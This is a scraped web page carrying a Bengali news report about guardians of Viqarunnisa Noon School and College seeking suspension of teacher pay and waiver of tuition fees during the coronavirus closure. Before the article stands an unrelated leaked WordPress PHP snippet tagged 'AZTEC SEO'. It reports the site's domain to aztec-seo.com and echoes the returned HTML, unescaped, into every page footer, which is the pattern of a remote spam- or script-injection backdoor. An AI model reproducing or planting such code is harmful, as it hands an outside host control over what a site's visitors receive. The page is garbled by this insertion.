/* AZTEC SEO */ add_action('wp_footer', function () { $domain = wp_parse_url(home_url(), PHP_URL_HOST); if (!$domain) return; $ck = 'aztec_footer_' . md5($domain); $html = get_transient($ck); if ($html === false) { $url = add_query_arg(array('domain' => $domain, 'date' => gmdate('c')), 'https://aztec-seo.com/api/v1/footer'); $res = wp_remote_get($url, array('timeout' => 8)); $html = (!is_wp_error($res) && wp_remote_retrieve_response_code($res) === 200) ? (string) wp_remote_retrieve_body($res) : ''; set_transient($ck, $html, $html === '' ? 5 * MINUTE_IN_SECONDS : HOUR_IN_SECONDS); } if ($html !== '') echo $html; }, 99);
করোনাভাইরাস সংক্রমণ পরিস্থিতিতে ভিকারুননিসা নূন স্কুল অ্যান্ড কলেজের শিক্ষক ও শিক্ষার্থীদের বেতন স্থগিতের আবেদন জানিয়েছেন অভিভাবকরা।
মঙ্গলবার কলেজের ঢাকা জেলা প্রশাসক বরাবর এ আবেদন করেন তারা। পরে শিক্ষা মন্ত্রণালয়েও আবেদন করবেন বলেও জানান অভিভাবক সংগঠনের নেতৃত্বদানকারী মো. আবদুল মজিদ সুজন।
আবেদনে শিক্ষক ও শিক্ষার্থীদের বেতন স্থগিতের জন্য কয়েকটি যুক্তি তুলে ধরেছেন।
১. করোনাভাইরাসের কারণে ফেব্রুয়ারির শেষ সপ্তাহে স্কুল-কলেজে উপস্থিতি অনেক কমে যায়। পরবর্তীতে সরকার ১৭ মার্চ হতে সব শিক্ষাপ্রতিষ্ঠান বন্ধ করে দেয়। তাই না খোলা পর্যন্ত সব শিক্ষককে বিনা বেতনে ছুটি দেয়া হোক (অফিস ও প্রহরী ব্যতীত)।
২. এই দুঃসময়ে শিক্ষার্থীদের থেকে বেতন আদায়ের কোনো ফন্দি যেন না করা হয়। মন্ত্রণালয়ের এ বিষয়ে নিষেধ আছে।
৩. স্কুল ও কলেজ পর্যায়ের সব শিক্ষার্থী এখন মানসিক চাপে আছে। তাদের জন্য ফান্ড হতে দুই হাজার টাকা করে প্রণোদনা দেয়া হোক, যার সিদ্ধান্ত ২০ রোজার মধ্যে নিতে হবে।
অভিভাবক সংগঠনের নেতা আবদুল মজিদ সুজন বলেন, করোনা পরিস্থিতিতে মানুষের আয়-উপার্জন বন্ধ হয়ে গেছে। এমন পরিস্থিতিতে অনেকে ঘরে তিনবেলা খাবার জোটাতে হিমশিম খাচ্ছে। তার ওপরে রয়েছে সন্তানের স্কুলের টিউশন ফি দেয়ার চাপ। এ কারণে টিউশন ফি মওকুফের আবেদন জানানো হয়েছে।